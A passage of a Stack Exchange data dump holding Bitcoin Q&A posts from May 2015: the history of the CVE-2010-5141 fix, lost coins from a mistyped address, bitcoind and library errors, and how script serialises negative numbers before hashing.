  <row Id="37403" PostTypeId="1" CreationDate="2015-05-14T19:21:03.437" Score="9" ViewCount="647" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=152470.msg1620493#msg1620493&quot;&gt;This post by Mike Hearn&lt;/a&gt; relates an interesting bit of history:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When Bitcoin was first released, it contained two completely fatal bugs that made the entire system worthless. Fortunately, they were found and fixed before Bitcoin  actually had any serious value.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The first bug was that scripts were concatenated before being run instead of just using a shared stack. This meant that anyone could write a scriptSig that always evaluated to true and claim anyone elses coins. Fixed here in v0.3.2:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/73aa262647ff9948eaf95e83236ec323347e95d0&quot;&gt;https://github.com/bitcoin/bitcoin/commit/73aa262647ff9948eaf95e83236ec323347e95d0&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, the link appears to point to the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/73aa262647ff9948eaf95e83236ec323347e95d0&quot;&gt;0.3.7 update&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the diff, this update does appear to change the script interpreter in the way Mike outlined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A search turned up very little on the 0.3.7 update. One hit was &lt;a href=&quot;https://bitcointalk.org/index.php?topic=664.0&quot;&gt;this question&lt;/a&gt;, which generated no responses:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I noticed that 0.3.7 is released on the website, but after searching the forums I can't find any information on what the changes are.  Never mind that the changes from version to version should be packaged with the download....&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;anyone care to clue me in on this one?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures#CVE-2010-5141&quot;&gt;The CVE page&lt;/a&gt;, however, makes this claim:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On July 28 2010, two bugs were discovered and demonstrated on the test network. One exploited a bug in the transaction handling code and allowed an attacker to spend coins that they did not own. This was never exploited on the main network, and was fixed by Bitcoin version 0.3.5.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, depending on the source you use, the release that fixed the bug was 0.3.2, 0.3.5, or 0.3.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that this was one of the worst bugs in Bitcoin's history, it seems like the documentation should be more consistent. Can someone point me to other sources that might help clear things up?&lt;/p&gt;&#xA;" OwnerUserId="10845" LastEditorUserId="2306" LastEditDate="2015-05-14T19:26:28.740" LastActivityDate="2015-09-15T13:03:30.900" Title="Which release fixed CVE-2010-5141 (attacker can spend any coin)" Tags="|script|attack|cve-2010-5141|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37405" PostTypeId="2" ParentId="37402" CreationDate="2015-05-14T20:22:39.773" Score="7" Body="&lt;p&gt;To include details from your comment: you were trying to send coins from your account at some sort of online marketplace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Losing coins because of an address typo is generally not supposed to happen; however, preventing it requires that the marketplace has designed their software properly.  The fact that it got as far as it did suggests that they have screwed something up.  Whether the coins are actually lost is something you have to find out from them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will help to explain a little about the Bitcoin address mechanism.  A standard Bitcoin address (1xxxxx...)  has encoded within it a 160-bit public key hash, and a 32-bit checksum (actually computed via another hash).  When software wants to send coins to an address, it should normally:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;decode the pubkey hash and checksum&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;verify that the pubkey hash and checksum match&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;generate a transaction sending out the desired number of coins, listing the pubkey hash as the destination (the checksum is not used after this point)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;post this transaction on the Bitcoin peer-to-peer network&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;wait for the transaction to be confirmed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In order for the recipient to eventually spend the coins, they have to be in possession of a private key whose corresponding public key has the same 160-bit hash as contained in the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2 is where your typo should have been caught (barring extremely bad luck; see case 1 below).  After this point, no more checking is possible: there is no way for anyone to determine whether a given 160-bit string corresponds to a private key, unless they know what the private key is.  I would think any reasonable software design would perform step 2 as soon as you typed in the address, display an error, and refuse to proceed until a corrected address was given.  The fact that this didn't happen is a bad sign; it suggests that the marketplace's software is not well designed.  But we don't know what it actually did do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there are a few possibilities for what happened:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You were extremely unlucky, and your typo'ed address decoded to a hash and checksum that matched each other.  The probability of this happening randomly is about 1 in 4 billion.  You can check whether this is the case by entering your typo'ed address in a block explorer site like &lt;a href=&quot;http://blockchain.info&quot;&gt;http://blockchain.info&lt;/a&gt; and seeing if you don't get an error message.  In this case, the marketplace may have gone through the whole process described above, and sent coins to a hash that doesn't correspond to your private key.  The transaction would be valid and been confirmed, but in this case the coins are now lost and nobody will ever be able to claim them.  If so, the marketplace should be able to give you a transaction ID for the transaction they created; you would be able to independently verify that the transaction exists, was confirmed, and corresponds to your erroneous address.  There isn't anything the marketplace can do to avoid this case (except maybe asking you to type the address twice).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The marketplace performed step 2 at a later stage of their processing, and discovered the error in your address.  In this case, they never created a Bitcoin transaction; they still have your coins, and should be able to re-credit your account.  Ideally they would do this automatically, but you might have to ask.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The markeplace decoded a hash from the address you gave, but never performed the step 2 check, and instead created a transaction sending coins to the incorrect hash.  Like in case 1, the coins are now lost, and they can send you a transaction ID which proves it (you can compute for yourself what the incorrect hash is, and verify that the transaction sent coins there).  Unlike case 1, this case would clearly be the marketplace's fault, for not performing the step 2 check which would have caught the error.  The right thing for them to do in this case would be to refund your coins out of their own pocket.  Of course, they may or may not actually choose to do that (especially if they are &quot;shady&quot;).  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The whole thing was a sham; the marketplace made it look like they were sending you coins, but in fact had no intention of actually doing so.    There isn't much you can do in this case except to try to pursue legal action (good luck with that).  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-05-14T20:22:39.773" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37407" PostTypeId="2" ParentId="176" CreationDate="2015-05-14T21:13:56.667" Score="4" Body="&lt;p&gt;According to a comment by Pieter Wuille posted to &lt;a href=&quot;https://plus.google.com/+MatthewHolt3/posts/Hh1bdAv3pLn&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt;, there are five people with write access to the repo:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Gavin Andresen&lt;/li&gt;&#xA;&lt;li&gt;Wladimir J. van der Laan&lt;/li&gt;&#xA;&lt;li&gt;Greg Maxwell&lt;/li&gt;&#xA;&lt;li&gt;Jeff Garzik&lt;/li&gt;&#xA;&lt;li&gt;Pieter Wuille&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This list matches the one published here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/development&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/development&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10845" LastEditorUserId="10845" LastEditDate="2015-05-15T17:09:32.220" LastActivityDate="2015-05-15T17:09:32.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37411" PostTypeId="1" CreationDate="2015-05-15T10:40:55.700" Score="0" ViewCount="590" Body="&lt;pre&gt;&lt;code&gt;root@srv [~/public_html/server/bin]# ./bitcoind -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bitcoin server starting&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@srv [~/public_html/server/bin]# sendto: Operation not permitted&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, bitcoind didn't download the blockchain in my linux centos server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the reason?&lt;/p&gt;&#xA;" OwnerUserId="26456" LastEditorUserId="2306" LastEditDate="2015-05-17T03:11:54.677" LastActivityDate="2015-05-17T03:11:54.677" Title="I run bitcoind in linux centos server. but it give me error &quot;sendto: Operation not permitted&quot;. why?" Tags="|blockchain|bitcoind|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37412" PostTypeId="1" CreationDate="2015-05-15T11:31:13.430" Score="-1" ViewCount="142" Body="&lt;p&gt;I heard about &lt;strong&gt;Bitcoin&lt;/strong&gt; and its endless possibilities to use Bitcoin irrespective of a particular geographic location. But my doubt is How does one accept and give a Bitcoin, Does it have its own market value like a USD where the rate of the Bitcoin fluctuates, Do we have to pay a separate tax for accepting/paying through Bitcoin unlike the visa/master card.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also heard things like miners who produce bitcoins but if people are producing bitcoins unlike the mint then where is the &lt;strong&gt;security for the coin&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some time back, the local Banking authority (State bank) has issued ban on the usage of bitcoin. So is it possible that can we still use this/it can be used by foreign nationals for purchases done abroad?&lt;/p&gt;&#xA;" OwnerUserId="26498" LastEditorUserId="26499" LastEditDate="2015-05-15T16:22:58.450" LastActivityDate="2015-05-15T16:22:58.450" Title="In India how does one accept or give Bitcoin? Do we also get a physical coin for a Bitcoin?" Tags="|security|value|market|taxes|india|" AnswerCount="1" CommentCount="1" ClosedDate="2015-05-15T18:34:51.850" ContentLicense="CC BY-SA 3.0" />
  <row Id="37413" PostTypeId="2" ParentId="37411" CreationDate="2015-05-15T11:52:29.683" Score="1" Body="&lt;p&gt;Most likely SELinux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;~/public_html&lt;/code&gt; is not the correct place to store binaries or even the bitcoin data directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put the binaries in &lt;code&gt;~/bin/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data files should end up in &lt;code&gt;~/.bitcoin/&lt;/code&gt; if you haven't changed the configuration. That should be okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it still doesn't work you might need to run &lt;code&gt;restorecon -R ~/bin&lt;/code&gt; to fix SELinux attributes.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-05-15T11:52:29.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37414" PostTypeId="2" ParentId="37412" CreationDate="2015-05-15T12:28:16.937" Score="2" Body="&lt;p&gt;I would go to localbitcoins.com open an account and find a trusted seller with a reputation of 100% and 100plus customers to buy them from a local agent. &#xA;Be smart about the price of the agent vrs others and exchanges to get the best price..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is not physical it is an encrypted ledger that derives it's price in the power to maintain the encryption(miners), markets(exchanges for now), what people are willing to pay (some institution will buy them overpriced).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Physical bitcoins are artistic representations of this ledger as to how much the BitCoin represents, plus it's artistic value.&#xA;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="26500" LastActivityDate="2015-05-15T12:28:16.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37415" PostTypeId="1" AcceptedAnswerId="37418" CreationDate="2015-05-15T14:45:10.403" Score="3" ViewCount="564" Body="&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/tx/61a078472543e9de9247446076320499c108b52307d8d0fafbe53b5c4e32acc4&quot; rel=&quot;nofollow&quot;&gt;transaction 9 in block 251684&lt;/a&gt; spends &lt;a href=&quot;http://blockexplorer.com/tx/5342c96b946ea2c5e497de5dbf7762021f94aba2c8222c17ed28492fdbb4a6d9&quot; rel=&quot;nofollow&quot;&gt;transaction 25 of block 249957&lt;/a&gt;. the script to be evaluated here is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_PUSHDATA0(20) 16cfb9bc7654ef1d7723e5c2722fc0c3d505045e OP_SIZE OP_DUP OP_TRUE&#xA;OP_GREATERTHAN OP_VERIFY OP_NEGATE OP_HASH256 OP_HASH160 OP_SHA256 OP_SHA1&#xA;OP_RIPEMD160 OP_EQUAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the problem i have is with how to sha256 a negative number. so far i have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;op: OP_PUSHDATA0(20) 16cfb9bc7654ef1d7723e5c2722fc0c3d505045e,&#xA;                    new stack: [0x16cfb9bc7654ef1d7723e5c2722fc0c3d505045e]&#xA;op: OP_SIZE,        new stack: [0x16cfb9bc7654ef1d7723e5c2722fc0c3d505045e, 20]&#xA;op: OP_DUP,         new stack: [0x16cfb9bc7654ef1d7723e5c2722fc0c3d505045e, 20, 20]&#xA;op: OP_TRUE,        new stack: [0x16cfb9bc7654ef1d7723e5c2722fc0c3d505045e, 20, 20, 1]&#xA;op: OP_GREATERTHAN, new stack: [0x16cfb9bc7654ef1d7723e5c2722fc0c3d505045e, 20, 1] (since 20 &amp;gt; 1)&#xA;op: OP_VERIFY,      new stack: [0x16cfb9bc7654ef1d7723e5c2722fc0c3d505045e, 20]&#xA;op: OP_NEGATE,      new stack: [0x16cfb9bc7654ef1d7723e5c2722fc0c3d505045e, -20]&#xA;op: OP_HASH256,     new stack: [0x16cfb9bc7654ef1d7723e5c2722fc0c3d505045e, ???]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2116" LastActivityDate="2015-05-15T16:56:53.523" Title="OP_HASH256 of a negative number" Tags="|script|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37416" PostTypeId="1" AcceptedAnswerId="37417" CreationDate="2015-05-15T15:01:29.763" Score="8" ViewCount="5915" Body="&lt;p&gt;After reading the O'Reilly book and perusing online resources, I'm still confused about the value that the actual mathematical mining provides to Network (I understand it does provide value, but not clear how). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like once a miner has verified transactions, the really valuable work for the network has been done. And when it starts hashing to win a competition for 25 btc, it's just playing a game that has the sole purpose of adding currency to the network (which I understand is important, no central govt. etc). I don't see how this hashing to find a value less than the difficulty actually provides a real service to the network such as verifying transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I jumped into learning about bitcoin, I just assumed the math problems the miners were solving related to detangling or decrypting transactions, but I see now that's not the case. If the competition was a race to verify transactions, that too would make more sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain the value of this mathematical race?&lt;/p&gt;&#xA;" OwnerUserId="26501" LastEditorUserId="5406" LastEditDate="2019-09-01T23:03:08.180" LastActivityDate="2019-09-01T23:03:08.180" Title="What Value does mining provide?" Tags="|mining-theory|mining-reward|proof-of-work|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37417" PostTypeId="2" ParentId="37416" CreationDate="2015-05-15T15:25:52.590" Score="11" Body="&lt;p&gt;As you mentioned, bringing coins into the network is one of the main purposes of mining. But this reward is just an incentive to do the other more important part of mining: 'processing' transactions.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Immutability&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As detailed &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32212/how-hard-is-it-to-alter-a-block-after-it-was-found&quot;&gt;here&lt;/a&gt;, when a block has been solved, not a single bit can be changed without invalidating it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that all of the transactions in the block have been processed, and are 'final' in the sense that they are in the blockchain and will not change (assuming that block is a part of the best/longest blockchain). Imagine how bad it would be if you could change the transaction ledger to mark someone no longer being paid, or not being paid the amount that you said you paid them.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Security&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Requiring billions of mathematical steps to be taken to solve a block means that it is very hard to accomplish. Honest miners that mine on the tip of the blockchain get rewarded for this in the form of bitcoins. But attackers who try to go back in history and replace old blocks with new blocks are at a disadvantage because doing so requires an enormous amount of hash power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the attacker was going back and trying to re-mine old blocks, the rest of the network continued mining on the tip of the blockchain, making it even harder for the attacker to catch up. Hence, for someone to create blocks faster than the rest of the network they have to be in control of &gt;50% of the network hash power. This would take millions of dollars, currently. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-05-15T15:31:25.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37418" PostTypeId="2" ParentId="37415" CreationDate="2015-05-15T16:39:42.277" Score="6" Body="&lt;p&gt;This is an extremely useful site for debugging bitcoin scripts: &lt;a href=&quot;http://webbtc.com/script&quot;&gt;http://webbtc.com/script&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin uses a custom way to serialize integers, shown &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.1/src/script/script.h#L287-L318&quot;&gt;here&lt;/a&gt;. This is confusing, but keeps the number of bytes on the stack small as possible. Let's walk through the basic execution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exec : 20 OP_NEGATE OP_HASH256&#xA;stack: &#xA;&#xA;exec : OP_NEGATE OP_HASH256&#xA;stack: 0x14&#xA;&#xA;exec : OP_HASH256&#xA;stack: 0x94&#xA;&#xA;exec : &#xA;stack: 0xaf462e245a0f463a93e23a54eb0b4d0d8da7a951e4d0b41015782a27e80a2e2c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The confusing step is really the &lt;code&gt;OP_NEGATE&lt;/code&gt;. To negate an integer that fits into 1 byte without having the MSB set, you just XOR with 0x80. Hence, &lt;code&gt;0x14 ^ 0x80 -&amp;gt; 0x94&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script debugger I linked to above verifies this result. This python code verifies the result as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import hashlib&#xA;import binascii&#xA;&#xA;def SHA256d(string):&#xA;    bin = binascii.unhexlify(string)&#xA;    hash = hashlib.sha256(hashlib.sha256(bin).digest()).digest()&#xA;    raw = str(binascii.hexlify(hash))[2:-1]&#xA;    return raw&#xA;&#xA;print (SHA256d(&quot;94&quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Prints:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;af462e245a0f463a93e23a54eb0b4d0d8da7a951e4d0b41015782a27e80a2e2c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-05-15T16:39:42.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37419" PostTypeId="1" AcceptedAnswerId="37433" CreationDate="2015-05-15T16:41:50.503" Score="1" ViewCount="297" Body="&lt;p&gt;I am using pycoin version 0.52 from pypi and it is getting the wrong output address from a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# testnet txid and corresponding rawtx&#xA;# see https://test-insight.bitpay.com/tx/e20af2349c48774eddda161b74659e3e64ad0f62794df9a2271e6baa313796f2&#xA;txid = &quot;e20af2349c48774eddda161b74659e3e64ad0f62794df9a2271e6baa313796f2&quot;&#xA;rawtx = &quot;010000000120addc4fc706417fad4158b4b9e30f9289e7dac4918277dc189e03f9a0155064000000006b483045022100b49bae1352d24d9673396bb01a23da583e01c5226347be6cf0f75477cce7f628022062eeb7a5a9b87a97f834660ce417278d4889d525e7e0f947020efdda045d54530121028895b78ad435814caecbeeb43453e4881a96d32c23d61b909dee06ad44c07ad5ffffffff0273a139c3000000001976a914a6d608497ad283ca93c1bdc3abb0a610b8edb18988ac80a81201000000001976a914f4131906b10615a61af347c56f1223ddc214f95c88ac00000000&quot;&#xA;&#xA;from pycoin.tx.Tx import Tx&#xA;&#xA;tx = Tx.tx_from_hex(rawtx)&#xA;out = tx.txs_out[1]&#xA;&#xA;print &quot;expected&quot;, &quot;n3mW3o8XNMyH6xHWBkN98rm7zxxxswzpGM&quot;&#xA;print &quot;actually&quot;, out.bitcoin_address()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python test.py&#xA;expected n3mW3o8XNMyH6xHWBkN98rm7zxxxswzpGM&#xA;actually 1PFYkk3YZLY2KqotUBPmJwYo8yNFz3Nxyy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26419" LastActivityDate="2015-05-16T18:00:29.213" Title="Why is pycoin getting the incorrect output address?" Tags="|transactions|address|output|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37420" PostTypeId="1" CreationDate="2015-05-15T16:41:51.263" Score="1" ViewCount="99" Body="&lt;p&gt;I'm receiving payments using Blockchain API. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The receiving payment part works but after that, when it's supposed to call a link on my website to inform about the payment, it's not working.&#xA;I'm using blockchain's callback tester found on their API page at &lt;a href=&quot;https://blockchain.info/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/api_receive&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My website should return &lt;code&gt;Ignoring test callback&lt;/code&gt; but it returns &lt;code&gt;Read timed out&lt;/code&gt;. Also it returns the same on every link from my website I put in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: I'm using an SSL certificate and in my &lt;code&gt;.htaccess&lt;/code&gt; I'm forcing the website to request to go to &lt;code&gt;https://&lt;/code&gt; from &lt;code&gt;http://&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="26502" LastActivityDate="2015-05-15T16:41:51.263" Title="Blockchain API - Returns &quot;Read timed out&quot; when calling my website callback" Tags="|blockchain|php|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37421" PostTypeId="2" ParentId="37373" CreationDate="2015-05-15T16:47:52.560" Score="1" Body="&lt;p&gt;An address is the hash of the pubkey (plus checksum and versioning).  Hashes are irreversible and randomly distributed so there is no way to determined the pubkey from the pubkeyhash.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2015-05-15T16:47:52.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37422" PostTypeId="2" ParentId="37415" CreationDate="2015-05-15T16:56:53.523" Score="3" Body="&lt;p&gt;The value that is hashed is the single byte &lt;code&gt;0x94&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The stack contains vectors of unsigned chars. OP_NEGATE converts the int &lt;code&gt;-20&lt;/code&gt; into a vector of unsigned chars by calling &lt;code&gt;CScriptNum::getvch()&lt;/code&gt; &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.1/src/script/interpreter.cpp#L671&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stack.push_back(bn.getvch());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;CScriptNum::getvch()&lt;/code&gt; &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.1/src/script/script.h#L282-L318&quot; rel=&quot;nofollow&quot;&gt;serializes ints into bytes&lt;/a&gt; by taking its absolute value, encoding the result in &lt;a href=&quot;https://en.wikipedia.org/wiki/Endianness&quot; rel=&quot;nofollow&quot;&gt;little-endian&lt;/a&gt; form using the fewest number of bytes possible, and then guarantying that the most significant bit of the most significant byte is set if and only if the value is negative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore &lt;code&gt;-20&lt;/code&gt; is serialized into the single byte &lt;code&gt;0x80 + 20 == 0x94&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be further verified by completing the rest of the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python&#xA;&amp;gt;&amp;gt;&amp;gt; from hashlib import *&#xA;&amp;gt;&amp;gt;&amp;gt; h = chr(0x80 + 20)&#xA;&amp;gt;&amp;gt;&amp;gt; h = sha256(sha256(h).digest()).digest()&#xA;&amp;gt;&amp;gt;&amp;gt; h = new('ripemd160', sha256(h).digest()).digest()&#xA;&amp;gt;&amp;gt;&amp;gt; h = sha256(h).digest()&#xA;&amp;gt;&amp;gt;&amp;gt; h = sha1(h).digest()&#xA;&amp;gt;&amp;gt;&amp;gt; h = new('ripemd160', h).digest()&#xA;&amp;gt;&amp;gt;&amp;gt; print h.encode('hex')&#xA;16cfb9bc7654ef1d7723e5c2722fc0c3d505045e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As an aside: that's a rather, uhm, &lt;em&gt;interesting&lt;/em&gt; script you've found....&lt;/p&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-05-15T16:56:53.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37423" PostTypeId="2" ParentId="37419" CreationDate="2015-05-15T17:03:55.300" Score="2" Body="&lt;p&gt;The library is assuming you are using main network Bitcoin, so it prints addresses that start with 1. You need to tell the library you are using that you're in testnet mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to be the relevant file: &lt;a href=&quot;https://github.com/richardkiss/pycoin/blob/master/pycoin/networks.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/richardkiss/pycoin/blob/master/pycoin/networks.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-05-15T17:03:55.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37424" PostTypeId="2" ParentId="37189" CreationDate="2015-05-15T20:00:06.647" Score="0" Body="&lt;p&gt;I am running bitcoind v0.10.0.0-047a898 in regtest mode on a Raspberry PI. I see lots of those &quot;ERROR: CheckProofOfWork() : hash doesn't match nBits&quot; and they slow bitcoin down quite a bit. In the end I have commented the check out. Surprisingly, everything seems to work fine now, but I must be missing something here...&lt;/p&gt;&#xA;" OwnerUserId="26503" LastActivityDate="2015-05-15T20:00:06.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37425" PostTypeId="1" CreationDate="2015-05-15T21:02:58.020" Score="5" ViewCount="1602" Body="&lt;p&gt;I'm trying to create a &lt;code&gt;bitcoinj&lt;/code&gt; determinstic key chain from a BIP32 master public key. This is the code that I have written so far: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;val xpub = &quot;xpub661MyMwAqRbcGiwzoCu93MuL6H91qANYUoYBwD4xSH8bRKJVNXsP1FUnNYiWUiu4trHbs3tavhbr4ih9bwNeVBmdQAnrA5SwSEVVCFza8dy&quot;&#xA;val keyChainSeed : DeterministicKey =  DeterministicKey.deserializeB58(null,xpub, MainNetParams.get)&#xA;val w = Wallet.fromWatchingKey(MainNetParams.get, keyChainSeed)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I get the following error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;No key found for absolute path M/0H.&#xA;java.lang.IllegalArgumentException: No key found for absolute path M/0H.&#xA;    at org.bitcoinj.crypto.DeterministicHierarchy.get(DeterministicHierarchy.java:94)&#xA;    at org.bitcoinj.crypto.DeterministicHierarchy.deriveChild(DeterministicHierarchy.java:152)&#xA;    at org.bitcoinj.wallet.DeterministicKeyChain.initializeHierarchyUnencrypted(DeterministicKeyChain.java:590)&#xA;    at org.bitcoinj.wallet.DeterministicKeyChain.&amp;lt;init&amp;gt;(DeterministicKeyChain.java:384)&#xA;    at org.bitcoinj.wallet.DeterministicKeyChain.&amp;lt;init&amp;gt;(DeterministicKeyChain.java:393)&#xA;    at org.bitcoinj.wallet.DeterministicKeyChain.watch(DeterministicKeyChain.java:444)&#xA;    at org.bitcoinj.wallet.DeterministicKeyChain.watch(DeterministicKeyChain.java:436)&#xA;    at org.bitcoinj.wallet.KeyChainGroup.&amp;lt;init&amp;gt;(KeyChainGroup.java:115)&#xA;    at org.bitcoinj.core.Wallet.fromWatchingKey(Wallet.java:260)&#xA;    at 